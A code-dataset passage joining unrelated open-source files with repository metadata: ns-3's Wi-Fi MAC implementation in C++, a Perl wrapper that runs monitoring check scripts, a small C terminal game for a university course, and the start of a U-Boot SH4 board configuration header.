WifiMac::DoInitialize () { NS_LOG_FUNCTION (this); if (m_txop != nullptr) { m_txop->Initialize (); } for (auto it = m_edca.begin (); it != m_edca.end (); ++it) { it->second->Initialize (); } } void WifiMac::DoDispose () { NS_LOG_FUNCTION (this); m_rxMiddle = 0; m_txMiddle = 0; m_channelAccessManager->Dispose (); m_channelAccessManager = 0; if (m_txop != nullptr) { m_txop->Dispose (); } m_txop = 0; for (auto it = m_edca.begin (); it != m_edca.end (); ++it) { it->second->Dispose (); it->second = 0; } if (m_feManager != 0) { m_feManager->Dispose (); } m_feManager = 0; m_stationManager = 0; m_phy = 0; m_device = 0; } void WifiMac::SetTypeOfStation (TypeOfStation type) { NS_LOG_FUNCTION (this << type); m_typeOfStation = type; } TypeOfStation WifiMac::GetTypeOfStation (void) const { return m_typeOfStation; } void WifiMac::SetDevice (const Ptr<WifiNetDevice> device) { m_device = device; } Ptr<WifiNetDevice> WifiMac::GetDevice (void) const { return m_device; } void WifiMac::SetAddress (Mac48Address address) { NS_LOG_FUNCTION (this << address); m_address = address; } Mac48Address WifiMac::GetAddress (void) const { return m_address; } void WifiMac::SetSsid (Ssid ssid) { NS_LOG_FUNCTION (this << ssid); m_ssid = ssid; } Ssid WifiMac::GetSsid (void) const { return m_ssid; } void WifiMac::SetBssid (Mac48Address bssid) { NS_LOG_FUNCTION (this << bssid); m_bssid = bssid; if (m_feManager) { m_feManager->SetBssid (bssid); } } Mac48Address WifiMac::GetBssid (void) const { return m_bssid; } void WifiMac::SetPromisc (void) { NS_ASSERT (m_feManager != 0); m_feManager->SetPromisc (); } Ptr<Txop> WifiMac::GetTxop () const { return m_txop; } Ptr<QosTxop> WifiMac::GetQosTxop (AcIndex ac) const { const auto it = m_edca.find (ac); if (it == m_edca.cend ()) { return nullptr; } return it->second; } Ptr<QosTxop> WifiMac::GetQosTxop (uint8_t tid) const { return GetQosTxop (QosUtilsMapTidToAc (tid)); } Ptr<QosTxop> WifiMac::GetVOQueue () const { return (m_qosSupported ? GetQosTxop (AC_VO) : nullptr); } Ptr<QosTxop> WifiMac::GetVIQueue () const { return (m_qosSupported ? GetQosTxop (AC_VI) : nullptr); } Ptr<QosTxop> WifiMac::GetBEQueue () const { return (m_qosSupported ? GetQosTxop (AC_BE) : nullptr); } Ptr<QosTxop> WifiMac::GetBKQueue () const { return (m_qosSupported ? GetQosTxop (AC_BK) : nullptr); } Ptr<WifiMacQueue> WifiMac::GetTxopQueue (AcIndex ac) const { if (ac == AC_BE_NQOS) { NS_ASSERT (m_txop != nullptr); return m_txop->GetWifiMacQueue (); } NS_ASSERT (ac == AC_BE || ac == AC_BK || ac == AC_VI || ac == AC_VO); return m_edca.find (ac)->second->GetWifiMacQueue (); } void WifiMac::NotifyChannelSwitching (void) { NS_LOG_FUNCTION (this); // we may have changed PHY band, in which case it is necessary to re-configure // the PHY dependent parameters. In any case, this makes no harm ConfigurePhyDependentParameters (); // SetupPhy not only resets the remote station manager, but also sets the // default TX mode and MCS, which is required when switching to a channel // in a different band m_stationManager->SetupPhy (m_phy); } void WifiMac::NotifyTx (Ptr<const Packet> packet) { m_macTxTrace (packet); } void WifiMac::NotifyTxDrop (Ptr<const Packet> packet) { m_macTxDropTrace (packet); } void WifiMac::NotifyRx (Ptr<const Packet> packet) { m_macRxTrace (packet); } void WifiMac::NotifyPromiscRx (Ptr<const Packet> packet) { m_macPromiscRxTrace (packet); } void WifiMac::NotifyRxDrop (Ptr<const Packet> packet) { m_macRxDropTrace (packet); } void WifiMac::SetupEdcaQueue (AcIndex ac) { NS_LOG_FUNCTION (this << ac); //Our caller shouldn't be attempting to setup a queue that is //already configured. NS_ASSERT (m_edca.find (ac) == m_edca.end ()); Ptr<QosTxop> edca = CreateObject<QosTxop> (ac); edca->SetChannelAccessManager (m_channelAccessManager); edca->SetWifiMac (this); edca->SetTxMiddle (m_txMiddle); edca->GetBaManager ()->SetTxOkCallback (MakeCallback (&MpduTracedCallback::operator(), &m_ackedMpduCallback)); edca->GetBaManager ()->SetTxFailedCallback (MakeCallback (&MpduTracedCallback::operator(), &m_nackedMpduCallback)); edca->SetDroppedMpduCallback (MakeCallback (&DroppedMpduTracedCallback::operator(), &m_droppedMpduCallback)); m_edca.insert (std::make_pair (ac, edca)); } void WifiMac::ConfigureContentionWindow (uint32_t cwMin, uint32_t cwMax) { bool isDsssOnly = GetDsssSupported () && !GetErpSupported (); if (m_txop != nullptr) { //The special value of AC_BE_NQOS which exists in the Access //Category enumeration allows us to configure plain old DCF. ConfigureDcf (m_txop, cwMin, cwMax, isDsssOnly, AC_BE_NQOS); } //Now we configure the EDCA functions for (auto it = m_edca.begin (); it!= m_edca.end (); ++it) { ConfigureDcf (it->second, cwMin, cwMax, isDsssOnly, it->first); } } void WifiMac::ConfigureDcf (Ptr<Txop> dcf, uint32_t cwmin, uint32_t cwmax, bool isDsss, AcIndex ac) { NS_LOG_FUNCTION (this << dcf << cwmin << cwmax << isDsss << +ac); /* see IEEE 802.11 section 7.3.2.29 */ switch (ac) { case AC_VO: dcf->SetMinCw ((cwmin + 1) / 4 - 1); dcf->SetMaxCw ((cwmin + 1) / 2 - 1); dcf->SetAifsn (2); if (isDsss) { dcf->SetTxopLimit (MicroSeconds (3264)); } else { dcf->SetTxopLimit (MicroSeconds (1504)); } break; case AC_VI: dcf->SetMinCw ((cwmin + 1) / 2 - 1); dcf->SetMaxCw (cwmin); dcf->SetAifsn (2); if (isDsss) { dcf->SetTxopLimit (MicroSeconds (6016)); } else { dcf->SetTxopLimit (MicroSeconds (3008)); } break; case AC_BE: dcf->SetMinCw (cwmin); dcf->SetMaxCw (cwmax); dcf->SetAifsn (3); dcf->SetTxopLimit (MicroSeconds (0)); break; case AC_BK: dcf->SetMinCw (cwmin); dcf->SetMaxCw (cwmax); dcf->SetAifsn (7); dcf->SetTxopLimit (MicroSeconds (0)); break; case AC_BE_NQOS: dcf->SetMinCw (cwmin); dcf->SetMaxCw (cwmax); dcf->SetAifsn (2); dcf->SetTxopLimit (MicroSeconds (0)); break; case AC_BEACON: // done by ApWifiMac break; case AC_UNDEF: NS_FATAL_ERROR ("I don't know what to do with this"); break; } } void WifiMac::ConfigureStandard (WifiStandard standard) { NS_LOG_FUNCTION (this << standard); NS_ABORT_IF (standard >= WIFI_STANDARD_80211n && !m_qosSupported); SetupFrameExchangeManager (standard); } void WifiMac::ConfigurePhyDependentParameters (void) { WifiPhyBand band = m_phy->GetPhyBand (); NS_LOG_FUNCTION (this << band); uint32_t cwmin = 0; uint32_t cwmax = 0; NS_ASSERT (m_phy != 0); WifiStandard standard = m_phy->GetStandard (); if (standard == WIFI_STANDARD_80211b) { SetDsssSupported (true); cwmin = 31; cwmax = 1023; } else { if (standard >= WIFI_STANDARD_80211g && band == WIFI_PHY_BAND_2_4GHZ) { SetErpSupported (true); } cwmin = 15; cwmax = 1023; } ConfigureContentionWindow (cwmin, cwmax); } void WifiMac::SetupFrameExchangeManager (WifiStandard standard) { NS_LOG_FUNCTION (this << standard); NS_ABORT_MSG_IF (standard == WIFI_STANDARD_UNSPECIFIED, "Wifi standard not set"); if (standard >= WIFI_STANDARD_80211ax) { m_feManager = CreateObject<HeFrameExchangeManager> (); } else if (standard >= WIFI_STANDARD_80211ac) { m_feManager = CreateObject<VhtFrameExchangeManager> (); } else if (standard >= WIFI_STANDARD_80211n) { m_feManager = CreateObject<HtFrameExchangeManager> (); } else if (m_qosSupported) { m_feManager = CreateObject<QosFrameExchangeManager> (); } else { m_feManager = CreateObject<FrameExchangeManager> (); } m_feManager->SetWifiMac (this); m_feManager->SetMacTxMiddle (m_txMiddle); m_feManager->SetMacRxMiddle (m_rxMiddle); m_feManager->SetAddress (GetAddress ()); m_feManager->SetBssid (GetBssid ()); m_feManager->GetWifiTxTimer ().SetMpduResponseTimeoutCallback (MakeCallback (&MpduResponseTimeoutTracedCallback::operator(), &m_mpduResponseTimeoutCallback)); m_feManager->GetWifiTxTimer ().SetPsduResponseTimeoutCallback (MakeCallback (&PsduResponseTimeoutTracedCallback::operator(), &m_psduResponseTimeoutCallback)); m_feManager->GetWifiTxTimer ().SetPsduMapResponseTimeoutCallback (MakeCallback (&PsduMapResponseTimeoutTracedCallback::operator(), &m_psduMapResponseTimeoutCallback)); m_feManager->SetDroppedMpduCallback (MakeCallback (&DroppedMpduTracedCallback::operator(), &m_droppedMpduCallback)); m_feManager->SetAckedMpduCallback (MakeCallback (&MpduTracedCallback::operator(), &m_ackedMpduCallback)); m_channelAccessManager->SetupFrameExchangeManager (m_feManager); if (GetQosSupported ()) { for (const auto& pair : m_edca) { pair.second->SetQosFrameExchangeManager (DynamicCast<QosFrameExchangeManager> (m_feManager)); } } } Ptr<FrameExchangeManager> WifiMac::GetFrameExchangeManager (void) const { return m_feManager; } void WifiMac::SetWifiRemoteStationManager (const Ptr<WifiRemoteStationManager> stationManager) { NS_LOG_FUNCTION (this << stationManager); m_stationManager = stationManager; } Ptr<WifiRemoteStationManager> WifiMac::GetWifiRemoteStationManager () const { return m_stationManager; } void WifiMac::SetWifiPhy (const Ptr<WifiPhy> phy) { NS_LOG_FUNCTION (this << phy); m_phy = phy; NS_ABORT_MSG_IF (!m_phy->GetOperatingChannel ().IsSet (), "PHY operating channel must have been set"); ConfigurePhyDependentParameters (); m_channelAccessManager->SetupPhyListener (phy); NS_ASSERT (m_feManager != 0); m_feManager->SetWifiPhy (phy); } Ptr<WifiPhy> WifiMac::GetWifiPhy (void) const { NS_LOG_FUNCTION (this); return m_phy; } void WifiMac::ResetWifiPhy (void) { NS_LOG_FUNCTION (this); NS_ASSERT (m_feManager != 0); m_feManager->ResetPhy (); m_channelAccessManager->RemovePhyListener (m_phy); m_phy = 0; } void WifiMac::SetQosSupported (bool enable) { NS_LOG_FUNCTION (this << enable); NS_ABORT_IF (IsInitialized ()); m_qosSupported = enable; if (!m_qosSupported) { // create a non-QoS TXOP m_txop = CreateObject<Txop> (); m_txop->SetChannelAccessManager (m_channelAccessManager); m_txop->SetWifiMac (this); m_txop->SetTxMiddle (m_txMiddle); m_txop->SetDroppedMpduCallback (MakeCallback (&DroppedMpduTracedCallback::operator(), &m_droppedMpduCallback)); } else { //Construct the EDCAFs. The ordering is important - highest //priority (Table 9-1 UP-to-AC mapping; IEEE 802.11-2012) must be created //first. SetupEdcaQueue (AC_VO); SetupEdcaQueue (AC_VI); SetupEdcaQueue (AC_BE); SetupEdcaQueue (AC_BK); } } bool WifiMac::GetQosSupported () const { return m_qosSupported; } bool WifiMac::GetErpSupported () const { return m_erpSupported; } void WifiMac::SetErpSupported (bool enable) { NS_LOG_FUNCTION (this); if (enable) { SetDsssSupported (true); } m_erpSupported = enable; } void WifiMac::SetDsssSupported (bool enable) { NS_LOG_FUNCTION (this); m_dsssSupported = enable; } bool WifiMac::GetDsssSupported () const { return m_dsssSupported; } void WifiMac::SetCtsToSelfSupported (bool enable) { NS_LOG_FUNCTION (this); m_ctsToSelfSupported = enable; } void WifiMac::SetShortSlotTimeSupported (bool enable) { NS_LOG_FUNCTION (this << enable); m_shortSlotTimeSupported = enable; } bool WifiMac::GetShortSlotTimeSupported (void) const { return m_shortSlotTimeSupported; } bool WifiMac::SupportsSendFrom (void) const { return false; } void WifiMac::SetForwardUpCallback (ForwardUpCallback upCallback) { NS_LOG_FUNCTION (this); m_forwardUp = upCallback; } void WifiMac::SetLinkUpCallback (Callback<void> linkUp) { NS_LOG_FUNCTION (this); m_linkUp = linkUp; } void WifiMac::SetLinkDownCallback (Callback<void> linkDown) { NS_LOG_FUNCTION (this); m_linkDown = linkDown; } void WifiMac::Enqueue (Ptr<Packet> packet, Mac48Address to, Mac48Address from) { //We expect WifiMac subclasses which do support forwarding (e.g., //AP) to override this method. Therefore, we throw a fatal error if //someone tries to invoke this method on a class which has not done //this. NS_FATAL_ERROR ("This MAC entity (" << this << ", " << GetAddress () << ") does not support Enqueue() with from address"); } void WifiMac::ForwardUp (Ptr<const Packet> packet, Mac48Address from, Mac48Address to) { NS_LOG_FUNCTION (this << packet << from << to); m_forwardUp (packet, from, to); } void WifiMac::Receive (Ptr<WifiMacQueueItem> mpdu) { NS_LOG_FUNCTION (this << *mpdu); const WifiMacHeader* hdr = &mpdu->GetHeader (); Ptr<Packet> packet = mpdu->GetPacket ()->Copy (); Mac48Address to = hdr->GetAddr1 (); Mac48Address from = hdr->GetAddr2 (); //We don't know how to deal with any frame that is not addressed to //us (and odds are there is nothing sensible we could do anyway), //so we ignore such frames. // //The derived class may also do some such filtering, but it doesn't //hurt to have it here too as a backstop. if (to != GetAddress ()) { return; } if (hdr->IsMgt () && hdr->IsAction ()) { //There is currently only any reason for Management Action //frames to be flying about if we are a QoS STA. NS_ASSERT (GetQosSupported ()); WifiActionHeader actionHdr; packet->RemoveHeader (actionHdr); switch (actionHdr.GetCategory ()) { case WifiActionHeader::BLOCK_ACK: switch (actionHdr.GetAction ().blockAck) { case WifiActionHeader::BLOCK_ACK_ADDBA_REQUEST: { MgtAddBaRequestHeader reqHdr; packet->RemoveHeader (reqHdr); //We've received an ADDBA Request. Our policy here is //to automatically accept it, so we get the ADDBA //Response on it's way immediately. NS_ASSERT (m_feManager != 0); Ptr<HtFrameExchangeManager> htFem = DynamicCast<HtFrameExchangeManager> (m_feManager); if (htFem != 0) { htFem->SendAddBaResponse (&reqHdr, from); } //This frame is now completely dealt with, so we're done. return; } case WifiActionHeader::BLOCK_ACK_ADDBA_RESPONSE: { MgtAddBaResponseHeader respHdr; packet->RemoveHeader (respHdr); //We've received an ADDBA Response. We assume that it //indicates success after an ADDBA Request we have //sent (we could, in principle, check this, but it //seems a waste given the level of the current model) //and act by locally establishing the agreement on //the appropriate queue. GetQosTxop (respHdr.GetTid ())->GotAddBaResponse (&respHdr, from); auto htFem = DynamicCast<HtFrameExchangeManager> (m_feManager); if (htFem != 0) { GetQosTxop (respHdr.GetTid ())->GetBaManager ()->SetBlockAckInactivityCallback (MakeCallback (&HtFrameExchangeManager::SendDelbaFrame, htFem)); } //This frame is now completely dealt with, so we're done. return; } case WifiActionHeader::BLOCK_ACK_DELBA: { MgtDelBaHeader delBaHdr; packet->RemoveHeader (delBaHdr); if (delBaHdr.IsByOriginator ()) { //This DELBA frame was sent by the originator, so //this means that an ingoing established //agreement exists in HtFrameExchangeManager and we need to //destroy it. NS_ASSERT (m_feManager != 0); Ptr<HtFrameExchangeManager> htFem = DynamicCast<HtFrameExchangeManager> (m_feManager); if (htFem != 0) { htFem->DestroyBlockAckAgreement (from, delBaHdr.GetTid ()); } } else { //We must have been the originator. We need to //tell the correct queue that the agreement has //been torn down GetQosTxop (delBaHdr.GetTid ())->GotDelBaFrame (&delBaHdr, from); } //This frame is now completely dealt with, so we're done. return; } default: NS_FATAL_ERROR ("Unsupported Action field in Block Ack Action frame"); return; } default: NS_FATAL_ERROR ("Unsupported Action frame received"); return; } } NS_FATAL_ERROR ("Don't know how to handle frame (type=" << hdr->GetType ()); } void WifiMac::DeaggregateAmsduAndForward (Ptr<WifiMacQueueItem> mpdu) { NS_LOG_FUNCTION (this << *mpdu); for (auto& msduPair : *PeekPointer (mpdu)) { ForwardUp (msduPair.first, msduPair.second.GetSourceAddr (), msduPair.second.GetDestinationAddr ()); } } Ptr<HtConfiguration> WifiMac::GetHtConfiguration (void) const { return GetDevice ()->GetHtConfiguration (); } Ptr<VhtConfiguration> WifiMac::GetVhtConfiguration (void) const { return GetDevice ()->GetVhtConfiguration (); } Ptr<HeConfiguration> WifiMac::GetHeConfiguration (void) const { return GetDevice ()->GetHeConfiguration (); } bool WifiMac::GetHtSupported () const { if (GetHtConfiguration ()) { return true; } return false; } bool WifiMac::GetVhtSupported () const { if (GetVhtConfiguration ()) { return true; } return false; } bool WifiMac::GetHeSupported () const { if (GetHeConfiguration ()) { return true; } return false; } void WifiMac::SetVoBlockAckThreshold (uint8_t threshold) { NS_LOG_FUNCTION (this << +threshold); if (m_qosSupported) { GetVOQueue ()->SetBlockAckThreshold (threshold); } } void WifiMac::SetViBlockAckThreshold (uint8_t threshold) { NS_LOG_FUNCTION (this << +threshold); if (m_qosSupported) { GetVIQueue ()->SetBlockAckThreshold (threshold); } } void WifiMac::SetBeBlockAckThreshold (uint8_t threshold) { NS_LOG_FUNCTION (this << +threshold); if (m_qosSupported) { GetBEQueue ()->SetBlockAckThreshold (threshold); } } void WifiMac::SetBkBlockAckThreshold (uint8_t threshold) { NS_LOG_FUNCTION (this << +threshold); if (m_qosSupported) { GetBKQueue ()->SetBlockAckThreshold (threshold); } } void WifiMac::SetVoBlockAckInactivityTimeout (uint16_t timeout) { NS_LOG_FUNCTION (this << timeout); if (m_qosSupported) { GetVOQueue ()->SetBlockAckInactivityTimeout (timeout); } } void WifiMac::SetViBlockAckInactivityTimeout (uint16_t timeout) { NS_LOG_FUNCTION (this << timeout); if (m_qosSupported) { GetVIQueue ()->SetBlockAckInactivityTimeout (timeout); } } void WifiMac::SetBeBlockAckInactivityTimeout (uint16_t timeout) { NS_LOG_FUNCTION (this << timeout); if (m_qosSupported) { GetBEQueue ()->SetBlockAckInactivityTimeout (timeout); } } void WifiMac::SetBkBlockAckInactivityTimeout (uint16_t timeout) { NS_LOG_FUNCTION (this << timeout); if (m_qosSupported) { GetBKQueue ()->SetBlockAckInactivityTimeout (timeout); } } ExtendedCapabilities WifiMac::GetExtendedCapabilities (void) const { NS_LOG_FUNCTION (this); ExtendedCapabilities capabilities; capabilities.SetHtSupported (GetHtSupported ()); capabilities.SetVhtSupported (GetVhtSupported ()); //TODO: to be completed return capabilities; } HtCapabilities WifiMac::GetHtCapabilities (void) const { NS_LOG_FUNCTION (this); HtCapabilities capabilities; if (GetHtSupported ()) { Ptr<HtConfiguration> htConfiguration = GetHtConfiguration (); bool sgiSupported = htConfiguration->GetShortGuardIntervalSupported (); capabilities.SetHtSupported (1); capabilities.SetLdpc (htConfiguration->GetLdpcSupported ()); capabilities.SetSupportedChannelWidth (GetWifiPhy ()->GetChannelWidth () >= 40); capabilities.SetShortGuardInterval20 (sgiSupported); capabilities.SetShortGuardInterval40 (GetWifiPhy ()->GetChannelWidth () >= 40 && sgiSupported); // Set Maximum A-MSDU Length subfield uint16_t maxAmsduSize = std::max ({m_voMaxAmsduSize, m_viMaxAmsduSize, m_beMaxAmsduSize, m_bkMaxAmsduSize}); if (maxAmsduSize <= 3839) { capabilities.SetMaxAmsduLength (3839); } else { capabilities.SetMaxAmsduLength (7935); } uint32_t maxAmpduLength = std::max ({m_voMaxAmpduSize, m_viMaxAmpduSize, m_beMaxAmpduSize, m_bkMaxAmpduSize}); // round to the next power of two minus one maxAmpduLength = (1ul << static_cast<uint32_t> (std::ceil (std::log2 (maxAmpduLength + 1)))) - 1; // The maximum A-MPDU length in HT capabilities elements ranges from 2^13-1 to 2^16-1 capabilities.SetMaxAmpduLength (std::min (std::max (maxAmpduLength, 8191u), 65535u)); capabilities.SetLSigProtectionSupport (true); uint64_t maxSupportedRate = 0; //in bit/s for (const auto & mcs : GetWifiPhy ()->GetMcsList (WIFI_MOD_CLASS_HT)) { capabilities.SetRxMcsBitmask (mcs.GetMcsValue ()); uint8_t nss = (mcs.GetMcsValue () / 8) + 1; NS_ASSERT (nss > 0 && nss < 5); uint64_t dataRate = mcs.GetDataRate (GetWifiPhy ()->GetChannelWidth (), sgiSupported ? 400 : 800, nss); if (dataRate > maxSupportedRate) { maxSupportedRate = dataRate; NS_LOG_DEBUG ("Updating maxSupportedRate to " << maxSupportedRate); } } capabilities.SetRxHighestSupportedDataRate (static_cast<uint16_t> (maxSupportedRate / 1e6)); //in Mbit/s capabilities.SetTxMcsSetDefined (GetWifiPhy ()->GetNMcs () > 0); capabilities.SetTxMaxNSpatialStreams (GetWifiPhy ()->GetMaxSupportedTxSpatialStreams ()); //we do not support unequal modulations capabilities.SetTxRxMcsSetUnequal (0); capabilities.SetTxUnequalModulation (0); } return capabilities; } VhtCapabilities WifiMac::GetVhtCapabilities (void) const { NS_LOG_FUNCTION (this); VhtCapabilities capabilities; if (GetVhtSupported ()) { Ptr<HtConfiguration> htConfiguration = GetHtConfiguration (); Ptr<VhtConfiguration> vhtConfiguration = GetVhtConfiguration (); bool sgiSupported = htConfiguration->GetShortGuardIntervalSupported (); capabilities.SetVhtSupported (1); if (GetWifiPhy ()->GetChannelWidth () == 160) { capabilities.SetSupportedChannelWidthSet (1); } else { capabilities.SetSupportedChannelWidthSet (0); } // Set Maximum MPDU Length subfield uint16_t maxAmsduSize = std::max ({m_voMaxAmsduSize, m_viMaxAmsduSize, m_beMaxAmsduSize, m_bkMaxAmsduSize}); if (maxAmsduSize <= 3839) { capabilities.SetMaxMpduLength (3895); } else if (maxAmsduSize <= 7935) { capabilities.SetMaxMpduLength (7991); } else { capabilities.SetMaxMpduLength (11454); } uint32_t maxAmpduLength = std::max ({m_voMaxAmpduSize, m_viMaxAmpduSize, m_beMaxAmpduSize, m_bkMaxAmpduSize}); // round to the next power of two minus one maxAmpduLength = (1ul << static_cast<uint32_t> (std::ceil (std::log2 (maxAmpduLength + 1)))) - 1; // The maximum A-MPDU length in VHT capabilities elements ranges from 2^13-1 to 2^20-1 capabilities.SetMaxAmpduLength (std::min (std::max (maxAmpduLength, 8191u), 1048575u)); capabilities.SetRxLdpc (htConfiguration->GetLdpcSupported ()); capabilities.SetShortGuardIntervalFor80Mhz ((GetWifiPhy ()->GetChannelWidth () == 80) && sgiSupported); capabilities.SetShortGuardIntervalFor160Mhz ((GetWifiPhy ()->GetChannelWidth () == 160) && sgiSupported); uint8_t maxMcs = 0; for (const auto & mcs : GetWifiPhy ()->GetMcsList (WIFI_MOD_CLASS_VHT)) { if (mcs.GetMcsValue () > maxMcs) { maxMcs = mcs.GetMcsValue (); } } // Support same MaxMCS for each spatial stream for (uint8_t nss = 1; nss <= GetWifiPhy ()->GetMaxSupportedRxSpatialStreams (); nss++) { capabilities.SetRxMcsMap (maxMcs, nss); } for (uint8_t nss = 1; nss <= GetWifiPhy ()->GetMaxSupportedTxSpatialStreams (); nss++) { capabilities.SetTxMcsMap (maxMcs, nss); } uint64_t maxSupportedRateLGI = 0; //in bit/s for (const auto & mcs : GetWifiPhy ()->GetMcsList (WIFI_MOD_CLASS_VHT)) { if (!mcs.IsAllowed (GetWifiPhy ()->GetChannelWidth (), 1)) { continue; } if (mcs.GetDataRate (GetWifiPhy ()->GetChannelWidth ()) > maxSupportedRateLGI) { maxSupportedRateLGI = mcs.GetDataRate (GetWifiPhy ()->GetChannelWidth ()); NS_LOG_DEBUG ("Updating maxSupportedRateLGI to " << maxSupportedRateLGI); } } capabilities.SetRxHighestSupportedLgiDataRate (static_cast<uint16_t> (maxSupportedRateLGI / 1e6)); //in Mbit/s capabilities.SetTxHighestSupportedLgiDataRate (static_cast<uint16_t> (maxSupportedRateLGI / 1e6)); //in Mbit/s //To be filled in once supported capabilities.SetRxStbc (0); capabilities.SetTxStbc (0); } return capabilities; } HeCapabilities WifiMac::GetHeCapabilities (void) const { NS_LOG_FUNCTION (this); HeCapabilities capabilities; if (GetHeSupported ()) { Ptr<HtConfiguration> htConfiguration = GetHtConfiguration (); Ptr<HeConfiguration> heConfiguration = GetHeConfiguration (); capabilities.SetHeSupported (1); uint8_t channelWidthSet = 0; if ((m_phy->GetChannelWidth () >= 40) && (m_phy->GetPhyBand () == WIFI_PHY_BAND_2_4GHZ)) { channelWidthSet |= 0x01; } if ((m_phy->GetChannelWidth () >= 80) && ((m_phy->GetPhyBand () == WIFI_PHY_BAND_5GHZ) || (m_phy->GetPhyBand () == WIFI_PHY_BAND_6GHZ))) { channelWidthSet |= 0x02; } if ((m_phy->GetChannelWidth () >= 160) && ((m_phy->GetPhyBand () == WIFI_PHY_BAND_5GHZ) || (m_phy->GetPhyBand () == WIFI_PHY_BAND_6GHZ))) { channelWidthSet |= 0x04; } capabilities.SetChannelWidthSet (channelWidthSet); capabilities.SetLdpcCodingInPayload (htConfiguration->GetLdpcSupported ()); if (heConfiguration->GetGuardInterval () == NanoSeconds (800)) { //todo: We assume for now that if we support 800ns GI then 1600ns GI is supported as well //todo: Assuming reception support for both 1x HE LTF and 4x HE LTF 800 ns capabilities.SetHeSuPpdu1xHeLtf800nsGi (true); capabilities.SetHePpdu4xHeLtf800nsGi (true); } uint32_t maxAmpduLength = std::max ({m_voMaxAmpduSize, m_viMaxAmpduSize, m_beMaxAmpduSize, m_bkMaxAmpduSize}); // round to the next power of two minus one maxAmpduLength = (1ul << static_cast<uint32_t> (std::ceil (std::log2 (maxAmpduLength + 1)))) - 1; // The maximum A-MPDU length in HE capabilities elements ranges from 2^20-1 to 2^23-1 capabilities.SetMaxAmpduLength (std::min (std::max (maxAmpduLength, 1048575u), 8388607u)); uint8_t maxMcs = 0; for (const auto & mcs : m_phy->GetMcsList (WIFI_MOD_CLASS_HE)) { if (mcs.GetMcsValue () > maxMcs) { maxMcs = mcs.GetMcsValue (); } } capabilities.SetHighestMcsSupported (maxMcs); capabilities.SetHighestNssSupported (m_phy->GetMaxSupportedTxSpatialStreams ()); } return capabilities; } uint32_t WifiMac::GetMaxAmpduSize (AcIndex ac) const { uint32_t maxSize = 0; switch (ac) { case AC_BE: maxSize = m_beMaxAmpduSize; break; case AC_BK: maxSize = m_bkMaxAmpduSize; break; case AC_VI: maxSize = m_viMaxAmpduSize; break; case AC_VO: maxSize = m_voMaxAmpduSize; break; default: NS_ABORT_MSG ("Unknown AC " << ac); return 0; } return maxSize; } uint16_t WifiMac::GetMaxAmsduSize (AcIndex ac) const { uint16_t maxSize = 0; switch (ac) { case AC_BE: maxSize = m_beMaxAmsduSize; break; case AC_BK: maxSize = m_bkMaxAmsduSize; break; case AC_VI: maxSize = m_viMaxAmsduSize; break; case AC_VO: maxSize = m_voMaxAmsduSize; break; default: NS_ABORT_MSG ("Unknown AC " << ac); return 0; } return maxSize; } } //namespace ns3
nsnam/ns-3-dev-git
src/wifi/model/wifi-mac.cc
C++
gpl-2.0
48,837
#!/usr/bin/perl -sw sub zdie { my ($msg) = @_; print "2\n"; print STDERR "$msg\n"; exit (0); } zdie ("Not enough arguments!") if $#ARGV < 0; my $check=$ARGV[0]; $check =~ s/\/|\.\.//g; $check = "/home/monitor/agents/modules/".$check; zdie ("File $check not found or not accessible") unless -x $check; zdie ("Cannot spawn $check") unless open (RES, "$check |"); my $result=<RES>; close RES; my ($state, $msg) = $result =~ /.*;(\d);(.*)$/; print "$state\n"; print STDERR "$msg\n";
Shmuma/z
misc/checks/bin/zbx_nagios.pl
Perl
gpl-2.0
507
#include <limits.h> #include <stdio.h> #include <string.h> #include "cab202_graphics.h" #define I_TO_S_LENGTH ((CHAR_BIT * sizeof(int) - 1) / 3) + 2 void draw_score(int x, int y, int score) { char i_to_s[I_TO_S_LENGTH]; char str[I_TO_S_LENGTH + 8]; snprintf(i_to_s, I_TO_S_LENGTH, "%d", score); stpcpy(str, "Score: "); strcat(str, i_to_s); draw_string(x, y, str); } void draw_menu(int width, int height) { draw_string(0, height - 1, "Menu: 8 = N; 2 = S; 6 = E; 4 = W; 9 = NE; 3 = SE; 7 = NW; 1 = SW; q = Quit."); } void running_zombie() { int width; int height; get_screen_size(width, height); int x = width * 4 / 5; int y = height * 4 / 5; int score = 0; int turn = 0; draw_score(30, 0, score); draw_menu(width, height); draw_char(x, y, 'Z'); show_screen(); int key = wait_char(); turn++; while ((key != 'q') && (key >= 0)) { switch (key) { case '4': x--; break; case '6': x++; break; case '8': y--; break; case '2': y++; break; case '7': x--; y--; break; case '3': x++; y++; break; case '9': x++; y--; break; case '1': x--; y++; break; } if ((turn % 5) == 0) { score++; turn = 0; } clear_screen(); draw_score(30, 0, score); draw_menu(width, height); draw_char(x, y, 'Z'); show_screen(); key = wait_char(); turn++; } } int main() { setup_screen(); running_zombie(); cleanup_screen(); return 0; }
0xLeon/CAB202-Projects
AMS/Week03/zombie.c
C
gpl-2.0
1,492
/* * (C) Copyright 2008-2009 STMicroelectronics. * * Sean McGoogan <Sean.McGoogan@st.com> * * See file CREDITS for list of people who contributed to this * project. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * MA 02111-1307 USA */ #ifndef __CONFIG_H #define __CONFIG_H /* * High Level Configuration Options * (easy to change) */ #define CONFIG_SH4 1 /* This is an SH4 CPU */ #define CONFIG_CPU_SUBTYPE_SH4_3XX /* it is an SH4-300 */ /*----------------------------------------------------------------------- * Jumper settings to select between the SoC's 3 boot-modes: * a) boot from NOR flash * b) boot from NAND flash * c) boot from SPI serial flash * * With the LED display panel facing the user: * * Jumper Location NOR NAND SPI * ------ -------- --- ---- --- * JE6 top-most EAST EAST WEST * JE5 below JE6 EAST WEST EAST * JE3 left-side NORTH SOUTH SOUTH * JE2 right-side SOUTH NORTH NORTH */ /*----------------------------------------------------------------------- * Are we booting directly from a NAND Flash device ? * If so, then define the "CFG_BOOT_FROM_NAND" macro, * otherwise (e.g. NOR/SPI Flash booting), do not define it. */ #undef CFG_BOOT_FROM_NAND /* define to build a NAND-bootable image */ /*----------------------------------------------------------------------- * Are we booting directly from a SPI Serial Flash device ? * If so, then define the "CFG_BOOT_FROM_SPI" macro, * otherwise (e.g. for NOR/NAND Flash booting), do not define it. */ #undef CFG_BOOT_FROM_SPI /* define to build a SPI-bootable image */ #define CFG_BOOT_FROM_SPI 